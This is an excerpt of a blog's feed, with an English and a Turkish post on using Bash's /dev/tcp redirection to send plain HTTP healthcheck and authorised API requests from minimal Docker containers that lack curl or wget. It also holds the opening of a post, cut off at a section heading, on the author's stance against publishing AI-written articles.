&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&amp;lt;&amp;gt;/dev/tcp/service/8642
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's see what is happening here step-by-step:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/service/8642&lt;/code&gt;: We tell Bash to open a TCP socket to port &lt;code&gt;8642&lt;/code&gt; of the host &lt;code&gt;service&lt;/code&gt; in both read and write directions, and bind this socket to file descriptor &lt;code&gt;3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;printf '...' &amp;gt;&amp;amp;3&lt;/code&gt;: We write our raw HTTP/1.1 request into file descriptor &lt;code&gt;3&lt;/code&gt; (meaning, the socket we opened).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat &amp;lt;&amp;amp;3&lt;/code&gt;: We read the response coming from the socket and print it to the screen (stdout).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When you run these commands, you'll see the HTTP status code, HTTP headers, and the response body returned by the server in full.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adding-authorization-headers"&gt;🔒 Adding Authorization Headers&lt;a class="headerlink" href="#adding-authorization-headers" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If the service you want to test is closed to anonymous requests and needs an &lt;code&gt;Authorization&lt;/code&gt; header, you can add this header inside the &lt;code&gt;printf&lt;/code&gt; command, paying close attention to the line-ending characters (&lt;code&gt;\r\n&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&amp;lt;&amp;gt;/dev/tcp/service/8642
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$API_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The most critical point to watch out for is that each HTTP header must end with &lt;code&gt;\r\n&lt;/code&gt; (carriage return and line feed), and double &lt;code&gt;\r\n\r\n&lt;/code&gt; must be left at the very end to signal the server that the request body is complete.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="what-is-devtcp-and-how-does-it-work"&gt;🧠 What is /dev/tcp and How Does It Work?&lt;a class="headerlink" href="#what-is-devtcp-and-how-does-it-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There is a detail here that won't escape sharp eyes: there is no directory or file named &lt;code&gt;/dev/tcp&lt;/code&gt; in the Linux filesystem. If you write &lt;code&gt;ls /dev/tcp&lt;/code&gt; in the terminal, the system will throw a file not found error.&lt;/p&gt;
&lt;p&gt;That's because the &lt;code&gt;/dev/tcp/host/port&lt;/code&gt; path is not a real file, but a virtual redirection recognized and caught specifically by Bash internally.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; When Bash sees this special string, instead of looking for a file on disk, it triggers the &lt;code&gt;connect(2)&lt;/code&gt; system call in the background to establish a direct TCP connection to the respective IP and port.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Critical Detail: Connection: close Header Is Required! ⚠️&lt;/p&gt;
&lt;p&gt;In the HTTP/1.1 protocol, connections are kept open by default (keep-alive).&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; If you don't add the &lt;code&gt;Connection: close&lt;/code&gt; header to the request, the server won't close the connection after sending the response. In this case, the &lt;code&gt;cat &amp;lt;&amp;amp;3&lt;/code&gt; command will hang forever waiting for new data, locking up your terminal. We must explicitly request the connection to close to prevent this.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Limitation: No TLS (HTTPS) Support 🔒&lt;/p&gt;
&lt;p&gt;This virtual device only opens raw (plaintext) TCP sockets. This means you cannot test secure connections starting with &lt;code&gt;https://&lt;/code&gt; directly using this method; there is no cryptography layer to handle the SSL/TLS handshake.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not POSIX Standard ⚙️&lt;/p&gt;
&lt;p&gt;This feature is specific to Bash. It won't work on Debian's default shell &lt;code&gt;dash&lt;/code&gt; (&lt;code&gt;/bin/sh&lt;/code&gt;) or &lt;code&gt;zsh&lt;/code&gt;. So, you must make sure to put &lt;code&gt;#!/bin/bash&lt;/code&gt; at the very beginning of your scripts, my friend.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Keeping containers secure and tiny by leaving out unnecessary tools is an excellent DevOps practice. But when you get stuck in these minimal environments, Bash's hidden capability lets you quickly test the state of your services without installing any packages.&lt;/p&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/docker-node-js-root-olmadan-calistirmak/"&gt;Running Node.js Containers Without Root in Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/docker-imaj-boyutu-kucultme-rehberi/"&gt;Diet for Fat Docker Images: Journey from 1.2 GB to 78 MB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This is the network redirection feature activated via the &lt;code&gt;--enable-net-redirections&lt;/code&gt; parameter during Bash's compilation.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;The rule in the HTTP/1.1 protocol where the TCP connection is kept open rather than closed after every request.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Docker"/><category term="Bash"/><category term="HTTP"/><category term="Linux"/><category term="Sunucu"/><category term="Hata Ayıklama"/></entry><entry><title>Curl Olmayan Konteynerde Bash ile HTTP İsteği Yapmak (/dev/tcp)</title><link href="https://yuceltoluyag.github.io/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/" rel="alternate"/><published>2026-06-26T03:10:00+03:00</published><updated>2026-06-26T03:10:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/</id><summary type="html">&lt;p&gt;Docker konteynerlerinde curl veya wget bulunmadığında, Bash'in kendi /dev/tcp yönlendirmesini kullanarak nasıl ham HTTP istekleri gönderebileceğimizi inceliyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en gece saat tam &amp;uuml;&amp;ccedil; sular&amp;inodot;nda, canl&amp;inodot; ortamdaki (production) mikroservislerden birinin sa&amp;gbreve;l&amp;inodot;k durumunu (healthcheck) kontrol etmek i&amp;ccedil;in konteynere &lt;code&gt;exec&lt;/code&gt; ile ba&amp;gbreve;land&amp;inodot;m. Kafamda hemen o klasik &lt;code&gt;curl http://localhost:8080/health&lt;/code&gt; komutunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak vard&amp;inodot;. Fakat o da ne? &amp;Idot;maj&amp;inodot; o kadar k&amp;inodot;rp&amp;inodot;p k&amp;uuml;&amp;ccedil;&amp;uuml;ltm&amp;uuml;&amp;scedil;t&amp;uuml;k ki, i&amp;ccedil;eride ne &lt;code&gt;curl&lt;/code&gt; var, ne &lt;code&gt;wget&lt;/code&gt;, ne de soket a&amp;ccedil;abilece&amp;gbreve;im ba&amp;scedil;ka bir teknik ara&amp;ccedil;! &amp;Ccedil;&amp;inodot;plak bir sunucu odas&amp;inodot;nda elleri kollar&amp;inodot; ba&amp;gbreve;lanm&amp;inodot;&amp;scedil; bir teknisyen gibi hissettim. &amp;Idot;&amp;scedil;te o an, y&amp;inodot;llar &amp;ouml;nce okudu&amp;gbreve;um ama pratikte hi&amp;ccedil; kullanmad&amp;inodot;&amp;gbreve;&amp;inodot;m o me&amp;scedil;hur Bash numaras&amp;inodot;n&amp;inodot; hat&amp;inodot;rlad&amp;inodot;m: &lt;code&gt;/dev/tcp&lt;/code&gt; y&amp;ouml;nlendirmesi. Bu y&amp;ouml;ntem sayesinde hi&amp;ccedil;bir harici araca ihtiya&amp;ccedil; duymadan, sadece Bash kullanarak konteyner i&amp;ccedil;inden HTTP istekleri f&amp;inodot;rlat&amp;inodot;p ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; saniyeler i&amp;ccedil;inde test ettim.&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;ccedil;inde hi&amp;ccedil;bir alet &amp;ccedil;antas&amp;inodot; olmayan, sadece kuru bir kabuktan ibaret olan minimal bir konteynerde debelenmek, elinde tornavida bile olmadan bir motoru tamir etmeye &amp;ccedil;al&amp;inodot;&amp;scedil;maya benzer. &amp;Idot;&amp;scedil;te bu y&amp;uuml;zden dostum, bug&amp;uuml;n bu &amp;ccedil;aresizlik anlar&amp;inodot;nda imdad&amp;inodot;m&amp;inodot;za yeti&amp;scedil;ecek olan, Bash'in kendi yetenekleriyle ham HTTP isteklerini nas&amp;inodot;l aya&amp;gbreve;a kald&amp;inodot;raca&amp;gbreve;&amp;inodot;m&amp;inodot;z&amp;inodot; detayl&amp;inodot;ca konu&amp;scedil;aca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="bash-ile-tcp-soketi-acmak"&gt;🔌 Bash ile TCP Soketi A&amp;ccedil;mak&lt;a class="headerlink" href="#bash-ile-tcp-soketi-acmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Normalde bir sunucuyla TCP &amp;uuml;zerinden konu&amp;scedil;mak i&amp;ccedil;in &lt;code&gt;nc&lt;/code&gt; (netcat), &lt;code&gt;telnet&lt;/code&gt; veya &lt;code&gt;curl&lt;/code&gt; gibi ara&amp;ccedil;lar kullan&amp;inodot;r&amp;inodot;z. Ancak Bash, i&amp;scedil;letim sistemi d&amp;uuml;zeyinde bir TCP/UDP soketi a&amp;ccedil;ma yetene&amp;gbreve;ine yerle&amp;scedil;ik olarak sahiptir. &lt;/p&gt;
&lt;p&gt;Sadece a&amp;scedil;a&amp;gbreve;&amp;inodot;daki &amp;uuml;&amp;ccedil; sat&amp;inodot;rl&amp;inodot;k komut dizisini kullanarak bir hedefe HTTP GET iste&amp;gbreve;i g&amp;ouml;nderebiliriz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&amp;lt;&amp;gt;/dev/tcp/service/8642
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada neler oldu&amp;gbreve;unu ad&amp;inodot;m ad&amp;inodot;m inceleyelim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/service/8642&lt;/code&gt;: Bash'e, &lt;code&gt;service&lt;/code&gt; ana makinesinin &lt;code&gt;8642&lt;/code&gt; portuna hem okuma hem yazma y&amp;ouml;n&amp;uuml;nde bir TCP soketi a&amp;ccedil;mas&amp;inodot;n&amp;inodot; ve bu soketi &lt;code&gt;3&lt;/code&gt; numaral&amp;inodot; dosya tan&amp;inodot;mlay&amp;inodot;c&amp;inodot;s&amp;inodot;na (file descriptor) ba&amp;gbreve;lamas&amp;inodot;n&amp;inodot; s&amp;ouml;ylyoruz.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;printf '...' &amp;gt;&amp;amp;3&lt;/code&gt;: Haz&amp;inodot;rlad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z ham HTTP/1.1 iste&amp;gbreve;ini bu &lt;code&gt;3&lt;/code&gt; numaral&amp;inodot; dosya tan&amp;inodot;mlay&amp;inodot;c&amp;inodot;s&amp;inodot;na (yani a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z sokete) yaz&amp;inodot;yoruz.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat &amp;lt;&amp;amp;3&lt;/code&gt;: Soketten gelen yan&amp;inodot;t&amp;inodot; okuyup ekrana (stdout) bas&amp;inodot;yoruz.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bu komutlar&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda kar&amp;scedil;&amp;inodot;n&amp;inodot;za sunucudan d&amp;ouml;nen HTTP durum kodu, HTTP ba&amp;scedil;l&amp;inodot;klar&amp;inodot; (headers) ve yan&amp;inodot;t g&amp;ouml;vdesi (body) eksiksiz olarak gelecektir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="yetkilendirme-baslklar-eklemek"&gt;🔒 Yetkilendirme Ba&amp;scedil;l&amp;inodot;klar&amp;inodot; Eklemek&lt;a class="headerlink" href="#yetkilendirme-baslklar-eklemek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er test etmek istedi&amp;gbreve;iniz servis anonim isteklere kapal&amp;inodot;ysa ve bir &lt;code&gt;Authorization&lt;/code&gt; ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;na ihtiya&amp;ccedil; duyuyorsa, &lt;code&gt;printf&lt;/code&gt; komutunun i&amp;ccedil;ine sat&amp;inodot;r sonu karakterlerine (&lt;code&gt;\r\n&lt;/code&gt;) dikkat ederek bu ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot; da ekleyebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&amp;lt;&amp;gt;/dev/tcp/service/8642
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$API_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dikkat etmeniz gereken en kritik nokta, her HTTP ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;n sonunun &lt;code&gt;\r\n&lt;/code&gt; (sat&amp;inodot;r ba&amp;scedil;&amp;inodot; ve yeni sat&amp;inodot;r) ile bitmesi ve istek g&amp;ouml;vdesinin bitti&amp;gbreve;ini sunucuya bildirmek i&amp;ccedil;in en sonda &amp;ccedil;ift &lt;code&gt;\r\n\r\n&lt;/code&gt; b&amp;inodot;rak&amp;inodot;lmas&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="devtcp-nedir-nasl-calsr"&gt;🧠 /dev/tcp Nedir, Nas&amp;inodot;l &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r?&lt;a class="headerlink" href="#devtcp-nedir-nasl-calsr" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Burada dikkatli g&amp;ouml;zlerden ka&amp;ccedil;mayacak bir detay var: Linux dosya sisteminde &lt;code&gt;/dev/tcp&lt;/code&gt; diye bir dizin ya da dosya bulunmaz. Terminalde &lt;code&gt;ls /dev/tcp&lt;/code&gt; yazarsan&amp;inodot;z sistem size dosya bulunamad&amp;inodot; hatas&amp;inodot; verecektir. &lt;/p&gt;
&lt;p&gt;&amp;Ccedil;&amp;uuml;nk&amp;uuml; &lt;code&gt;/dev/tcp/host/port&lt;/code&gt; yolu ger&amp;ccedil;ek bir dosya de&amp;gbreve;il, Bash'in kendi i&amp;ccedil;inde tan&amp;inodot;d&amp;inodot;&amp;gbreve;&amp;inodot; ve &amp;ouml;zel olarak yakalad&amp;inodot;&amp;gbreve;&amp;inodot; sanal bir y&amp;ouml;nlendirmedir.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; Bash bu &amp;ouml;zel dizgeyi g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;nde diskte bir dosya aramak yerine arka planda &lt;code&gt;connect(2)&lt;/code&gt; sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;n&amp;inodot; tetikleyerek ilgili IP ve porta do&amp;gbreve;rudan TCP ba&amp;gbreve;lant&amp;inodot;s&amp;inodot; kurar.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Kritik Detay: Connection: close Ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot; &amp;Scedil;artt&amp;inodot;r! ⚠️&lt;/p&gt;
&lt;p&gt;HTTP/1.1 protokol&amp;uuml;nde varsay&amp;inodot;lan olarak ba&amp;gbreve;lant&amp;inodot;lar a&amp;ccedil;&amp;inodot;k tutulur (keep-alive).&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; E&amp;gbreve;er iste&amp;gbreve;e &lt;code&gt;Connection: close&lt;/code&gt; ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; eklemezseniz, kar&amp;scedil;&amp;inodot;daki sunucu yan&amp;inodot;t&amp;inodot; g&amp;ouml;nderdikten sonra ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; kapatmaz. Bu durumda &lt;code&gt;cat &amp;lt;&amp;amp;3&lt;/code&gt; komutu sonsuza kadar yeni veri bekleyerek terminali kilitleyecektir. Bunu &amp;ouml;nlemek i&amp;ccedil;in ba&amp;gbreve;lant&amp;inodot;n&amp;inodot;n kapanmas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;k&amp;ccedil;a istemeliyiz.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;S&amp;inodot;n&amp;inodot;rland&amp;inodot;rma: TLS (HTTPS) Deste&amp;gbreve;i Yoktur 🔒&lt;/p&gt;
&lt;p&gt;Bu sanal ayg&amp;inodot;t sadece ham (plaintext) TCP soketleri a&amp;ccedil;ar. Yani &lt;code&gt;https://&lt;/code&gt; ile ba&amp;scedil;layan SSL/TLS &amp;scedil;ifreli ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot; bu y&amp;ouml;ntemle do&amp;gbreve;rudan test edemezsiniz; &amp;ccedil;&amp;uuml;nk&amp;uuml; el s&amp;inodot;k&amp;inodot;&amp;scedil;ma (handshake) i&amp;scedil;lemlerini ger&amp;ccedil;ekle&amp;scedil;tirecek bir kriptografi katman&amp;inodot; bulunmaz.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;POSIX Standard&amp;inodot; De&amp;gbreve;ildir ⚙️&lt;/p&gt;
&lt;p&gt;Bu &amp;ouml;zellik Bash'e &amp;ouml;zeldir. Debian'&amp;inodot;n varsay&amp;inodot;lan kabu&amp;gbreve;u olan &lt;code&gt;dash&lt;/code&gt; (&lt;code&gt;/bin/sh&lt;/code&gt;) veya &lt;code&gt;zsh&lt;/code&gt; &amp;uuml;zerinde &amp;ccedil;al&amp;inodot;&amp;scedil;maz. Bu y&amp;uuml;zden yazd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z scriptlerin en ba&amp;scedil;&amp;inodot;na &lt;code&gt;#!/bin/bash&lt;/code&gt; koydu&amp;gbreve;unuzdan emin olmal&amp;inodot;s&amp;inodot;n&amp;inodot;z dostum.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Konteynerleri g&amp;uuml;venli k&amp;inodot;lmak ve boyutlar&amp;inodot;n&amp;inodot; k&amp;uuml;&amp;ccedil;&amp;uuml;ltmek i&amp;ccedil;in gereksiz t&amp;uuml;m ara&amp;ccedil;lar&amp;inodot; d&amp;inodot;&amp;scedil;ar&amp;inodot;da b&amp;inodot;rakmak harika bir DevOps prati&amp;gbreve;idir. Ancak bu minimal ortamlarda s&amp;inodot;k&amp;inodot;&amp;scedil;&amp;inodot;p kald&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda, Bash'in bu gizli yetene&amp;gbreve;i sayesinde hi&amp;ccedil;bir paket y&amp;uuml;klemeden servislerinizin durumunu h&amp;inodot;zl&amp;inodot;ca test edebilirsiniz.&lt;/p&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/docker-node-js-root-olmadan-calistirmak/"&gt;Docker'da Node.js Konteynerlerini Root Olmadan &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/docker-imaj-boyutu-kucultme-rehberi/"&gt;&amp;Scedil;i&amp;scedil;ko Docker &amp;Idot;majlar&amp;inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Bash'in derleme a&amp;scedil;amas&amp;inodot;nda &lt;code&gt;--enable-net-redirections&lt;/code&gt; parametresi ile aktif edilen a&amp;gbreve; y&amp;ouml;nlendirme &amp;ouml;zelli&amp;gbreve;idir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;HTTP/1.1 protokol&amp;uuml;nde TCP ba&amp;gbreve;lant&amp;inodot;s&amp;inodot;n&amp;inodot;n her istekten sonra kapat&amp;inodot;lmay&amp;inodot;p a&amp;ccedil;&amp;inodot;k tutulmas&amp;inodot; kural&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Docker"/><category term="Bash"/><category term="HTTP"/><category term="Linux"/><category term="Sunucu"/><category term="Hata Ayıklama"/></entry><entry><title>Is AI Writing the Articles on This Blog?</title><link href="https://yuceltoluyag.github.io/en/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/" rel="alternate"/><published>2026-06-26T03:00:00+03:00</published><updated>2026-06-26T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/</id><summary type="html">&lt;p&gt;I share my thoughts on AI authorship, coding assistants, and the unspoken 'social contract' between writers and readers.&lt;/p&gt;</summary><content type="html">&lt;p&gt;While sipping my coffee and reading my old articles, I noticed something. We've spent so many years dealing with tech, code, and foreign docs that the structure of our sentences got ruined. It's like we ended up with a weird dialect of Turkish that only we developers understand, sounding like robots from sci-fi movies. This is exactly where I use my beloved AI (LLMs) as an editor&amp;mdash;to fix my broken Turkish and build fluent sentences that won't bore you to death. But let's start by answering the big elephant in the room:&lt;/p&gt;
&lt;p&gt;Is AI writing the articles on this blog?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a single piece of human-written text on this blog was generated by AI, and I have absolutely no intention of changing that. All those weird grammatical errors, false assumptions, typos, and annoying phrasing belong entirely to me.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-social-contract-with-the-reader"&gt;🤝 The "Social Contract" with the Reader&lt;a class="headerlink" href="#the-social-contract-with-the-reader" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I don't use large language models directly to write articles. Neither on this blog nor in my professional work.&lt;/p&gt;
&lt;p&gt;That's because making people read raw AI-generated text feels like a breach of that invisible social contract&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; between us. When I publish a piece under my name, I want you to know that I actually understand the topic and stand by my words. Showing respect to your time and effort is the only way to do it.&lt;/p&gt;
&lt;p&gt;Pumping pages of filler text using AI just to inflate the word count and dumping it in front of readers is like inviting a friend over for coffee and playing them a tape recording of yourself instead of talking.&lt;/p&gt;
&lt;p&gt;If I'm going to make AI write about a topic and send it to you, and you're going to use another AI to summarize it, what are we even doing here? Instead of that, I would rather give you the direct cues to research the topic yourself with your own AI. That saves you a lot of time.&lt;/p&gt;
&lt;p&gt;Personally, I value function over form in professional life too. If you have a half-page idea, just give me that half-page, my friend. Don't fluff it up with Claude or ChatGPT to serve me a five-page report. If I want to know what AI thinks, I'll go and ask it myself. Besides, I'd get a much more personalized answer tuned to my own context that way!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-writing-code-and-writing-articles-are-different"&gt;💻 Why Writing Code and Writing Articles Are Different&lt;a class="headerlink" href="#why-writing-code-and-writing-articles-are-different" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
